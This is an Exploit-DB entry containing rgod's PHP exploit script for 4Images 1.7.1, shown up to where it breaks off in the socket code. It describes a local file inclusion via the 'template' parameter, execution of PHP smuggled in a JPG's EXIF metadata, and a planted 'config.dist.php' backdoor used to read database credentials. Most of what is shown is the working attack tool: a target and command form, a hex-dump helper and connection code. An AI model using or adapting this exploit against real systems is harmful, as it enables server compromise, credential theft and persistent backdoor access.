Exploit-DB #1533
Description: 4Images 1.7.1 - Local File Inclusion / Remote Code Execution
Type: webapps
Platform: php
Date: 2006-02-26
Author: rgod

Exploit:
<?php
#  ----4images_171_incl_xpl.php                              6.45 26/02/2006   #
#                                                                              #
#  4Images <= 1.7.1 remote commands execution through arbitrary local          #
#  inclusion                                                                   #
#                              coded by rgod                                   #
#                    site: http://retrogod.altervista.org                      #
#                                                                              #
#  -> this works regardless of magic_quotes_gpc settings                       #
#                                                                              #
# Sun-Tzu: "Having doomed spies, doing certain things openly for purposes of   #
# deception, and allowing our spies to know  of them and report them to  the   #
# enemy."                                                                      #

/* short explaination:
   directory traversal in "template" argument, ex:

   http://[target]/[path]/index.php?template=../../../../../../../etc/passwd%00

   this exploit uploads a .jpg file with maliciuos EXIF metadata comptempt,
   it will be evaluated as php code:

   http://[target]/[path]/index.php?template=../../data/tmp_media/suntzu1293.jpg%00
   or
   http://[target]/[path]/index.php?template=../../data/media/1/suntzu1293.jpg%00

   also, it installs a backdoor on target server, called "config.dist.php",
   then...

   http://[target]/[path]/config.dist.php?cmd=cat%20config.php
 								              */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
ob_implicit_flush (1);

echo'<html><head><title>****** 4Images <= 1.7.1 remote commands execution ******
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
****** 4Images <= 1.7.1 remote commands execution ****** </p><p class="Stile6">a
script  by  rgod  at    <a href="http://retrogod.altervista.org"target="_blank">
http://retrogod.altervista.org</a></p><table width="84%"><tr><td    width="43%">
<form name="form1" method="post"   action="'.$_SERVER[PHP_SELF].'">    <p><input
type="text"  name="host"> <span class="Stile5">* target    (ex:www.sitename.com)
</span></p> <p><input type="text" name="path">  <span class="Stile5">* path (ex:
/4images/ or just / ) </span></p><p><input type="text" name="cmd">         <span
class="Stile5"> * specify a command ("cat config.php" to see database username &
password...)</span></p><p><input type="text"   name="USER"><span class="Stile5">
a valid USER ...</span></p><p><input type="password" name="PASS">          <span
class="Stile5"> ... and PASSWORD, required for STEP 2 and following...   </span>
</p>  <p> <input   type="text" name="port"><span class="Stile5">specify  a  port
other than  80 (default value) </span></p><p><input type="text"    name="proxy">
<span class="Stile5">send  exploit through an HTTP proxy (ip:port)</span></p><p>
<input type="submit" name="Submit" value="go!"> </p> </form> </td> </tr></table>
</body></html>';


function show($headeri)
{
  $ii=0;$ji=0;$ki=0;$ci=0;
  echo '<table border="0"><tr>';
  while ($ii <= strlen($headeri)-1){
    $datai=dechex(ord($headeri[$ii]));
    if ($ji==16) {
      $ji=0;
      $ci++;
      echo "<td>&nbsp;&nbsp;</td>";
      for ($li=0; $li<=15; $li++) {
        echo "<td>".htmlentities($headeri[$li+$ki])."</td>";
		}
      $ki=$ki+16;
      echo "</tr><tr>";
    }
    if (strlen($datai)==1) {
      echo "<td>0".htmlentities($datai)."</td>";
    }
    else {
      echo "<td>".htmlentities($datai)."</td> ";
    }
    $ii++;$ji++;
  }
  for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
    echo "<td>&nbsp&nbsp</td>";
  }
  for ($li=$ci*16; $li<=strlen($headeri); $li++) {
    echo "<td>".htmlentities($headeri[$li])."</td>";
  }
  echo "</tr></table>";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //2x speed
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket < 0) {
    echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
  }
  else {
    $c = preg_match($proxy_regex,$proxy);
    if (!$c) {echo 'Not a valid proxy...';
    die;
    }
  echo "OK.<br>";
  echo "Attempting to connect to ".$host." on port ".$port."..